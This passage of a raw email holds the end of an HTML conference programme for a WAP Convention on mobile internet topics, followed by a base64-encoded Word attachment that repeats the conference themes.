tomorrow ? Who are the new producers and distributors ? </FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Corporate Portal=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>From ASP offers to &quot; =
knowledge=20
management &quot;, the corporate portal is the marketplace for business=20
information. Will the multiplication of mobile terminals and corporate =
portals=20
finally set the scene for the development of the &quot; mobile offfice =
&quot;=20
?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Virtual =
Communities and Mobile=20
&quot; Tribes &quot; </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>How is a mobile virtual =
community=20
developed ? What are the existing applications ? How to pass from a =
&quot; fixed=20
community &quot; to a &quot; mobile community &quot;. </FONT></P>
<P align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D3></FONT><FONT=20
size=3D3>***********************************</FONT></P></FONT></FONT></DI=
V>
<DIV><B><U><FONT face=3DArial size=3D4><B><U><FONT face=3DArial =
size=3D4>
<P>&nbsp;</P></FONT></U></B></FONT></U></B></DIV></DIV></BODY></HTML>

------=_NextPart_001_0546_01BFE28C.AEA65B60--

------=_NextPart_000_0545_01BFE28C.AEA65B60
Content-Type: application/msword;
	name="WAP CONVENTION Conference Themes.doc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="WAP CONVENTION Conference Themes.doc"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAALwAAAAAAAAAA
EAAAMQAAAAEAAAD+////AAAAAC4AAAD/////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////s
pcEAWQAMBAAAABK/AAAAAAAAEAAAAAAABAAA7w8AAA4AYmpiavNX81cAAAAAAAAAAAAAAAAAAAAA
AAAMBBYAIigAAJE9AQCRPQEA7wsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA
AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAF0AAAAAAOQBAAAAAAAA5AEAAOQB
AAAAAAAA5AEAAAAAAADkAQAAAAAAAOQBAAAAAAAA5AEAABQAAAAAAAAAAAAAAPgBAAAAAAAA+AEA
AAAAAAD4AQAAAAAAAPgBAAAAAAAA+AEAAAwAAAAEAgAAHAAAAPgBAAAAAAAAWA0AAO4AAAAsAgAA
AAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAACwCAAAA
AAAAbAkAAAIAAABuCQAAAAAAAG4JAAAAAAAAbgkAAD0AAACrCQAAugEAAGULAAC6AQAAHw0AACQA
AABGDgAA9AEAADoQAABqAAAAQw0AABUAAAAAAAAAAAAAAAAAAAAAAAAA5AEAAAAAAAAsAgAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAACwCAAAAAAAALAIAAAAAAAAsAgAAAAAAAEMNAAAAAAAA
2AMAAAAAAADkAQAAAAAAAOQBAAAAAAAALAIAAAAAAAAAAAAAAAAAACwCAAAAAAAALAIAAAAAAADY
AwAAAAAAANgDAAAAAAAA2AMAAAAAAAAsAgAAIgAAAOQBAAAAAAAALAIAAAAAAADkAQAAAAAAACwC
AAAAAAAAbAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAOQBAAAAAAAA5AEA
AAAAAADkAQAAAAAAAOQBAAAAAAAALAIAAAAAAABsCQAAAAAAANgDAACUBQAA2AMAAAAAAAAAAAAA
AAAAAGwJAAAAAAAA5AEAAAAAAADkAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAkAAAAAAAAsAgAAAAAAACACAAAMAAAAIKscd13c
vwH4AQAAAAAAAPgBAAAAAAAATgIAAIoBAABsCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV0FQ
IENPTlZFTlRJT04gMjAwMA1DT05GRVJFTkNFIFRIRU1FUw0NREFZIDENDVJvb20gMaA6DQ0xMDoz
MGFtIJYgMTI6MDAgbWlkZGF5DU1vYmlsZSBJbnRlcm5ldCBhbmQgdGhlIExhdyANVGhlIGRlcGxv
eW1lbnQgb2YgTW9iaWxlIHRlcm1pbmFscyAoU21hcnQgcGhvbmUsIGUtYm9vaywgUERBLCByYWRp
bywgZ2FtZSBjb25zb2xlcyBldGMpIHBvc2VzIG5ldyBsZWdhbCBxdWVzdGlvbnMuIFRoZSBwcm90
ZWN0aW9uIG9mIHBlcnNvbmFsIGluZm9ybWF0aW9uLCBjb250ZW50IG93bmVyc2hpcCwgZGlzdHJp
YnV0aW9uIHJpZ2h0c4UuLiANQ2FuIGFuIGFuYWxvZ3kgYmUgbWFkZSB3aXRoIHRoZSBqdXJpc3By
dWRlbmNlIG9mIHRoZSBJbnRlcm5ldKA/IA0NMjowMHBtIJYgMzozMHBtDU1BZKA6IJOgTW9iaWxl
IEFkdmVydGlzaW5noJQNTW9iaWxlIEludGVybmV0IGFuZCBXQVAgYXJlIGVuY291cmFnaW5nIG5l
dyBmb3JtcyBvZiBleHByZXNzaW9uIGZvciBhZHZlcnRpc2Vycy4gV2hhdCBtZXRob2RzIGNhbiBi
ZSB1c2VkIGZvciBtb2JpbGUgYWR2ZXJ0aXNpbmegPyBGcm9tIGN1c3RvbWlzZWQgbWVzc2FnZXMg
dG8gMS10by0xIG1hcmtldGluZywgd2hpY2ggbWV0aG9kIGlzIGFkYXB0ZWQgdG8gd2hpY2ggdGVy
bWluYWygPw0NNDowMHBtIJYgNTozMHBtDU0tTWFya2V0aW5nIA1NYXJrZXRpbmcgaXMgYWRvcHRp
bmcgTW9iaWxlIEludGVybmV0LiBXaGF0IGFyZSB0aGUgZW1lcmdpbmcgdHJlbmRzoD8gV2hhdCBh
cmUgdGhlIG5ldyBvcHBvcnR1bml0aWVzIG1hZGUgYXZhaWxhYmxlIHRvIG1hcmtldGVycyBieSB0
aGUgZGV2ZWxvcG1lbnQgb2YgTW9iaWxlIEludGVybmV0oD8NDQ1Sb29tIDKgOg0NMTA6MzBhbSCW
IDEyOjAwIG1pZGRheQ1XQVAgaXMgZGVhZCwgaG9vcmF5IGZvciBXQVCgISANVGhlIGFycml2YWwg
b2YgV0FQIG9uIG1vYmlsZSB0ZWxlcGhvbmVzIGlzIGp1c3QgdGhlIHZlcnkgZmlyc3Qgc3RlcCBv
ZiBhIG1ham9yIHRlY2hub2xvZ2ljYWwgdGlkYWwgd2F2ZS4gR1BSUywgZm9sbG93ZWQgYnkgVU1U
Uywgd2lsbCB0aGVuIHNlcnZlIHRvIGFtcGxpZnkgYW5kIGltcHJvdmUgYWNjZXNzIHRvIHRoZSBt
dWx0aXR1ZGUgb2Ygc2VydmljZXMgcHJvcG9zZWQuIEZ1dHVyZSBwcm9zcGVjdHMuDQ0yOjAwcG0g
liAzOjMwcG0NVGhlIE1vYmlsZSBJbnRlcm5ldCBNYXJrZXQgDVRoZSBtYXJrZXQgaXMgZGV2ZWxv
cGluZyBhdCBhIGZyZW5ldGljIHBhY2UuIFdoYXQgYXJlIHRoZSBwcmluY2lwYWwgZWxlbWVudHMg
YW5kIHdobyBhcmUgdGhlIGFjdG9yc6A/IEFyZSB3ZSBoZWFkaW5nIHRvd2FyZHMgYSCroHBsYXll
ciB3YXKguywgc2ltaWxhciB0byB0aGUgd2FyIGFscmVhZHkgc2VlbiBiZXR3ZWVuIGJyb3dzZXJz
oD8gV2hhdCBhcmUgdGhlIGNvbnNlcXVlbmNlcz8NDTQ6MDBwbSCWIDU6MzBwbQ1Nb2JpbGUgSW50
ZXJuZXSgOiB0aGUgTmV3IEtpZHMgb24gdGhlIEJsb2NrLiANU2l4IGlubm92YXRpdmUgc3RhcnQt
dXBzIHByZXNlbnQgdGhlaXIgY29tcGFuaWVzLg0NRGF5IDINDVJvb20gMaA6DQ0xMDozMGFtIJYg
MTI6MDAgbWlkZGF5IA1UaGUgTXVsdGktQWNjZXNzIFBvcnRhbCANRWFjaCB0ZXJtaW5hbCAoUERB
LCBTbWFydCBwaG9uZSwgY29tcHV0ZXIsIHRlbGV2aXNpb24sIHJhZGlvLCBnYW1lIGNvbnNvbGWF
KSBoYXMgaXRzIG93biBzcGVjaWZpY2F0aW9ucy4gVGhlIHVzZXIgY2FuIG5vdyBjcmVhdGUgaGlz
IG93biBtZW51IGFjY29yZGluZyB0byBjb250ZW50IG5lZWRzLCBsb2NhdGlvbiwgYW5kIHRpbWUg
YXZhaWxhYmxlLiBXaGljaCBjb250ZW50IHRvIGNhdGVyIGZvciBzcGVjaWZpYyBuZWVkc6A/IFdo
aWNoIHNlcnZpY2VzIGZvciB3aGljaCB0ZXJtaW5hbHOgPw0NMjowMHBtIJYgMzozMHBtDVZhbHVl
LWFkZGVkIFNlcnZpY2VzIGZvciBNb2JpbGUgVGVybWluYWxzIA1UaGUgZGVwbG95bWVudCBvZiBN
b2JpbGUgSW50ZXJuZXQgYW5kIHRoZSBkZXZlbG9wbWVudCBvZiBicm9hZGJhbmQgYWxsb3dzIHRo
ZSBkaXN0cmlidXRpb24gb2YgbmV3IGNvbnRlbnQuIFdoaWNoIHNlcnZpY2VzIHNob3VsZCBiZSBw
cm9wb3NlZCB0byBwcm9mZXNzaW9uYWxzIGFuZCB0aGUgZ2VuZXJhbCBwdWJsaWOgPyBQYWNrYWdl
cyBhbmQgcHJpY2luZy4NDTQ6MDBwbSCWIDU6MzBwbQ1NLUJ1c2luZXNzIA1BIHN0ZXAgZm9yd2Fy
ZCBmcm9tIGUtYnVzaW5lc3MsIE0tYnVzaW5lc3MgaXMgZGV2ZWxvcGluZyBhdCB0aGUgcmFwaWQg
cmF0ZSBvZiB0aGUgZXZvbHV0aW9uIG9mIHRlcm1pbmFscy4gV2hhdCBhcHBsaWNhdGlvbnMgYXJl
IGN1cnJlbnRseSBpbiB1c2WgPyBUcmVuZHMgYW5kIHByb3NwZWN0cy4NDQ1Sb29tIDKgOg0NMTA6
MzBhbSCWIDEyOjAwIG1pZGRheSANTmV3IENvbnRlbnQgYW5kIE1vYmlsZSBUZXJtaW5hbHMgDVdp
dGggdGhlIGFycml2YWwgb2YgR1BSUyBhbmQgdGhlbiBVTVRTLCCToHJpY2ggbWVkaWGglKB3aWxs
IHRha2Ugb3ZlciBtb2JpbGUgdGVybWluYWxzLiBXaGF0IGlzIHRoZSBjb250ZW50IG9mIHRvbW9y
cm93oD8gV2hvIGFyZSB0aGUgbmV3IHByb2R1Y2VycyBhbmQgZGlzdHJpYnV0b3JzoD8gDQ0yOjAw
cG0gliAzOjMwcG0NQ29ycG9yYXRlIFBvcnRhbCANRnJvbSBBU1Agb2ZmZXJzIHRvIJOga25vd2xl
ZGdlIG1hbmFnZW1lbnSglCwgdGhlIGNvcnBvcmF0ZSBwb3J0YWwgaXMgdGhlIG1hcmtldHBsYWNl
IGZvciBidXNpbmVzcyBpbmZvcm1hdGlvbi4gV2lsbCB0aGUgbXVsdGlwbGljYXRpb24gb2YgbW9i
aWxlIHRlcm1pbmFscyBhbmQgY29ycG9yYXRlIHBvcnRhbHMgZmluYWxseSBzZXQgdGhlIHNjZW5l
IGZvciB0aGUgZGV2ZWxvcG1lbnQgb2YgdGhlIKugbW9iaWxlIG9mZmZpY2Wgu6A/DQ00OjAwcG0g
liA1OjMwcG0NVmlydHVhbCBDb21tdW5pdGllcyBhbmQgTW9iaWxlIKugVHJpYmVzoLsgDUhvdyBp
cyBhIG1vYmlsZSB2aXJ0dWFsIGNvbW11bml0eSBkZXZlbG9wZWSgPyBXaGF0IGFyZSB0aGUgZXhp
c3RpbmcgYXBwbGljYXRpb25zoD8gSG93IHRvIHBhc3MgZnJvbSBhIKugZml4ZWQgY29tbXVuaXR5
oLsgdG8gYSCroG1vYmlsZSBjb21tdW5pdHmguy4gDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJwQAACwEAAAtBAAA
NwQAAGsEAABsBAAAcwUAAKAFAAB/BgAAmwYAAEYHAABRBwAAaAcAAIcHAABvCAAAmwgAAHoJAAC4
CQAA6gkAAPwJAAAtCgAARgsAAIELAABQDAAAbAwAABYNAAAhDQAAWw0AAAMOAAAmDgAAHQ8AAFkP
AADvDwAA9+337ffj9+P34/fX9+P34/fj99fj9+P34/fX4/fj9+P3AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAFjUIgT4qAUNKGgBPSgIAUUoCAG1ICQgAEzUIgUNKGgBPSgIAUUoCAG1I
CQgTPioBQ0oaAE9KAgBRSgIAbUgJCBBDShoAT0oCAFFKAgBtSAkIIQAEAAAUBAAAJgQAACcEAAAt
BAAALgQAADcEAAA4BAAATwQAAGwEAAAyBQAAcwUAAHQFAACEBQAAoQUAAH4GAAB/BgAAjwYAAJwG
AABFBwAARgcAAEcHAABQBwAAUQcAAGgHAACHBwAAbwgAAHAIAAD9AAAAAAAAAAAAAAAA/QAAAAAA
AAAAAAAAAP0AAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAAAAAAAAAA
AAD6AAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAPoAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAA
AAAAAAAAAAAAAPMAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPEAAAAAAAAA
AAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA
8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPoAAAAA
AAAAAAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAO0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAADEAARhMQCAAEQAAABAAAAAREAAw8AAyQDAw8AAyQAAAEPAAAbAAQAABQEAAAmBAAAJwQAAC0E
AAAuBAAANwQAADgEAABPBAAAbAQAADIFAABzBQAAdAUAAIQFAAChBQAAfgYAAH8GAACPBgAAnAYA
AEUHAABGBwAARwcAAFAHAABRBwAAaAcAAIcHAABvCAAAcAgAAIAIAACcCAAAeQkAAHoJAACKCQAA
uAkAAOoJAADrCQAA8QkAAPIJAAD7CQAA/AkAABQKAAAtCgAARgsAAEcLAABXCwAAggsAAE8MAABQ
DAAAYAwAAGwMAAAVDQAAFg0AABcNAAAgDQAAIQ0AADkNAABbDQAAAw4AAAQOAAAUDgAAJg4AAB0P
AAAeDwAALg8AAFkPAADtDwAA7g8AAO8PAAD9/f39/f39/f37+wAAAPn5+fn5+fn5+f35+fkA+fn5
+fn5+fn5+fn5+fn5APn5+fn5+fn5+fn5+fn5APn5+fn59/f3AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAACAQEAAwIQAAMCEQADAg8AAENwCAAAgAgAAJwIAAB5CQAAegkA
AIoJAAC4CQAA6gkAAOsJAADxCQAA8gkAAPsJAAD8CQAAFAoAAC0KAABGCwAARwsAAFcLAACCCwAA
TwwAAFAMAABgDAAAbAwAABUNAAAWDQAAFw0AACANAAAhDQAAOQ0AAFsNAAD9AAAAAAAAAAAAAAAA
+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAA
AAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAA
AAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsA
AAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAA
AAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAA
APsAAAAAAAAAAAAAAAD7AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAPsAAAAAAAAAAAAAAAD7AAAA
AAAAAAAAAAAA+wAAAAAAAAAAAAAAAAAAAAAAAAEQAAABAAAAHVsNAAADDgAABA4AABQOAAAmDgAA
HQ8AAB4PAAAuDwAAWQ8AAO8PAAD9AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAPsAAAAAAAAAAAAA
AAD9AAAAAAAAAAAAAAAA/QAAAAAAAAAAAAAAAP0AAAAAAAAAAAAAAAD9AAAAAAAAAAAAAAAA/QAA
AAAAAAAAAAAAAP0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEQAAAJIAAcUAEAH7CCLiCwxkEhsIkFIrCJ
BSOQiQUkkIkFJbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
